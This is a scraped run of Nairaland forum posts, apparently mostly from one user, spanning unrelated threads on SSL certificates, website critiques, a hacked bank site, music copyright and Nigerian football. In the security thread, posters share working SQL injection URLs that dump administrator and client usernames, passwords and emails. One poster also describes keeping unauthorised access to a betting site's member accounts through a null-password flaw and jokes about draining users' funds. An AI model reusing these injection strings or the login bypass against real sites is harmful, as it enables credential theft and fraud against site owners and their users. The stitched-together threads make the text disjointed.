₦airaland Forum

mykah09:
Theboynextd, pls, i av d same problem as d poster but my OS is window 7. Kindly help

Google: windows 7 activator by daz

I haven't heard of something like that. See whether this helps: http://www.websitebabble.com/web-hosting/11563-whats-difference-between-share-dedicated-ssl-ip.html

"hacker at work" 
That's too serious joor and its also life threatening if you are hypertensive. Imagine waking up in the middle of the night (if you sleep at night) to see the red light on your BB and its "hacker at work". 

Change the mail subject to "dem don come o!" then echo "your fada!" D

Since the site is powered by cPanel, you need to create a cert request if you have access to its WHM or tell whoever has access to create a cert request.
Under WHM goto "Generate a SSL Certificate and Signing Request"
Enter contact email, choose a password, confirm password, Host to make cert for: "www.mortgagesphb.com", key size:2048. fill the rest of the form.
Once the request is created a mail will be sent, forward the mail to me and I will initiate the cert installation process. Once I'm done I will send you the key and crt files and then you go back to WHM and choose "Install a SSL Certificate and Setup the Domain". Just paste the crt i send in the first textfield and it will normally fetch the rest. Then click "Submit". That's all.

Note: the domain must have a dedicated IP.

I have tons of certificates. My domain registrar used to give me one bonus Comodo Positive SSL cert per domain I registered, last year. They are still unused. I could give you one and its free for a whole year (the bonus) after which you may have to renew it yourself or pay me the Naira equivalent of the dollar cost for me to renew for you. I think renewal is about 10 usd per year. Its a single domain cert with 128/256 bit encryption.

Depending on what that site will do, you may require an SSL cert with higher level of encryption. Just Google SSL certs if you require something higher.

Slyr0x:


HOST/pagedetail.php?pid=2+AND+1=2+UNION+ALL+SELECT+concat%280x1e,uname,0x1e,0x3a,pass,0x1e,0x20%29,2+FROM+administrator--

You may try some heads up before this kinda injections, for  a second I thought that was saharabet and  a blood vessel almost popped.
Have you by any means cracked the MD5 on that admin pass?

This gives you better juice
site/pagedetail.php?pid=44+UNION+ALL+SELECT+1,group_concat(id,username,id,password,id,email)+FROM+client

lol, i used id as the seperator couldnt figure out someting better.

What's the role of the 1e and 3a hex in your injection?

You are f.i.n.g.e.r.i.n.g PHP from the wrong entry point sha.

http://w3schools.com/php/default.asp

Lol yawa, but na the foreseeable future of the site be tht na.

remoranger:
at slyrox, Dual core and co. please tutorial on website security. its not enuff to damn them, why not help? if you can. cos this could happen to anyone that manages a high profile site. i suspect the web host too

Well, when I see a bad thing I do my bid to try and help. Up till this moment I still have access to all the member accounts of a Nigerian sports betting site (not saharabet.com na me build tht one, even slyr0x cant touch it  ). I have tried to contact them through all possible means, even through the email address of the admin account that i got from the site's database. As if storing passwords in clear text wasn't enough insult to web dev, a user can set member password to null and log into the site with just the username (ofcourse turning off the silly javascript password validation).

So what next should i do? Dem just dey fortunate sey i hold my side if not i for start to withdraw people money one by one.

Edit:
Thanks for the .htaccess, saving it.

When I first saw it I thoght it was the .htaccess of the site tht you pulled out. I wanted to wonder how manage!


Here's an offer for young host companies: I could harden your dedicated/VPS servers as long as they running on Linux and you have root access to it and can trust me with it. Someone gave me a new VPS he got from hostgator for me to work on and I didnt know when I told him his VPS was "embarrassingly insecure".

Warning - while you were typing a new reply has been posted. You may wish to review your post.
yawa u no go wait for line? 




Layout looks good, however it would be better to maintain the layout of the main Bank PHB site which looks better and more professional.

Search is dead

No Terms of Service, Privacy Policies, Copyright e.t.c

I don't know really but don't descriptive names for links help SEO? (floor_plan_financing.php as against fpf.php) I really have no solid say on this maybe its my imagination.


For you to have made the site public I should think it has been completed and reviewed by your client (in this case, Bank PHB), then begs the question: who reviewed this and made it fit for safe public use at its present stage?

Entire site may kill a potential investor's first impression on Bank PHB (consider sticking to the layout on the main Bank PHB site).

Another reason to stick to the main BankPHB layout as much as possible is so this site doesn't pass as a phishing site.


Summary: make a clone of the main site's layout (basic xhtml and css) and scoop the content of this site into your clone. Kill one or both scrolling things on the homepage, bury the dead search or breathe life into it. At least add Terms of Service, if you cant mirror the whole footer of the Main BankPHB site.

I would rather read a "how to shoot guns" book than "how to shoot an ak-47".

Jonathan

Damage control:
First, index.php, index.html, default.html were removed (probably by the host).
Now, the hosting account has been terminated.

My predictions as to whats next:

New hosting account will be created,
Olumartins or whoever looks at all the site files on his pc and is like. . . ah ah how did this happen, musta been a random attack or mistake. . . it wont happen again. (typical Nigerian, no offense).
Olumartins or whoever, uploads same files unto new account created and goes to sleep.
Olumartins calls owners of site. . . sir, its back up! I have fixed it!! (James Olu Bond)
Script kiddies here see the site is back and start rattling door knobs on the site to see if they can create a sequel.
Slyr0x or Number 7 "revisits" the site.
Slyr0x reports second hack 

**All names are fictional and not targeted at any real individual, if there's any coincidence. . . as you have seen: it is just coincidence.

Post the content  of sendform2.php


On a side note, why don't you use a billing system like WHMCS for your site?

Do you have the login details to your control panel?

Your terms say:
The network contains non–copyrighted and copyrighted material. Material is available for download authorized by artists for non–commercial use, including content with Creative Commons format licenses. Sharing copyrighted material may subject you to civil or criminal liability. We urge you to respect copyrights. For more information about copyrights visit www.copyright.gov




As per what I bolded, are you saying all the songs there have been authorised by the respective artists?

Hello,
Please click here to see the reseller plans on TruDigits.
To know more about reseller hosting start up please click here to read an article we have on it.
We can carry you from your baby steps as a reseller until when you have to start using your own servers.
If you have any questions contact the online chat on the website, we are always online to attend to every customer.

The site could use a cleaner layout, woulda loved to help you with this but this site may make a brother end up in some heavy copyright fines.

You talked about bandwidth, from my understanding the music is hosted on a filesharing server. Right?

7) I can't see the aesthetic relevance of the div #top.
8 ) I can see http://www.visfotlimited.com/image/
9 ) Try some general names for your div identification. If you start naming container divs "ken" and "kenclass" now you may continue to web dev and name variables something like "ken" and "kenclass" and that may affect teamwork.

Dude do you have to open all old wounds to progress in your life? Pathetic.

This is interesting. Let's hear their side of this story

Awesome. The look isnt appealing but I don't care, i'm on it for the FREE music. Bookmarked.

See this http://www.acunetix.com/vulnerabilities/Directory-Listing.htm

I had nothing to say about your site other than what was said by omni cuz I share same opinion with omni. So i  just have to  include('omni'); echo $omnis_post; //Great job. Keep it coming. Good morning!

Why must one call for the details, abi na freebrowsing dey power the cafe? 

^^ +10*10

Don't worry, when next a "big" Nigerian player retires a new list will come out and feature him at number 1. Make una no worry, if Uncle Sepp fit be FIFA monarch then impossible is nothing.


[quote author=baby-boy link=topic=691506.msg8544855#msg8544855 date=1308427059]You just showed your lack of Knowledge of African football,

Kanu spent 17 years in the Super Eagles scored on 13 goals in 86 outings, even Solomon Kalou scored 13 goals in 37games

Drogba 49 goals in 9 years
El Hadji Diouf 31 goals 10 years
Benni McCarthy 31 goals 14 years
Asamoah Gyan 36 goals 8 years
Freddy Kanute 39 goals 6 years
Samuel Eto 51 goals 14 years
Patrick Mboma 33 goals 9 years
George Weah 22 goals 19 years
Rabah Madjer 29 goals 14 years

Those are stats for other strikers in Africa, Kanu's stats as a striker would make Peter Crouch look like Marco Van Basten[/quote]The context here is Nigeria's 50 greatest players.
Note that the term "greatest" is not absolute but relative to context. You will be making a good case if the context of that list was "Africa", however the context is "Nigeria".

Syenite:
UCL TITLE:                                KANU: yes     .  Okocha: nil
EPL or Any LEAGUE TITLE:        KANU: yes   .    Okocha:nil
FA CUP:                                    KANU: yes     .  Okocha : nil
CAF PLAYER OF THE YEAR:        KANU: Yes.      Okocha:nil
FIFA U/17 WC                           KANU: yes       Okocha:nil
OLYMPIC GOLD                         KANU: yes       Okocha:yes
ACN                                          KANU: nil         Okocha:yes
WORLD CUP APPEARNCES        KANU: 3          Okocha:3
AGE AT DEBUTE FOR EAGLES    KANU:18         Okocha: 20
CLUBS KANU: ,Ajax, Intermilan, Arsenal, Westbrom,Portsmouth Okocha:Frankfurt, Fanabache, PSG, Bolton, Hull-City


Abeg the difference is clear. Put another player on that table and compare with Kanu.You think football is all about dribbling?

All these tearing muscles, you dey find free heart transplant jackpot abi?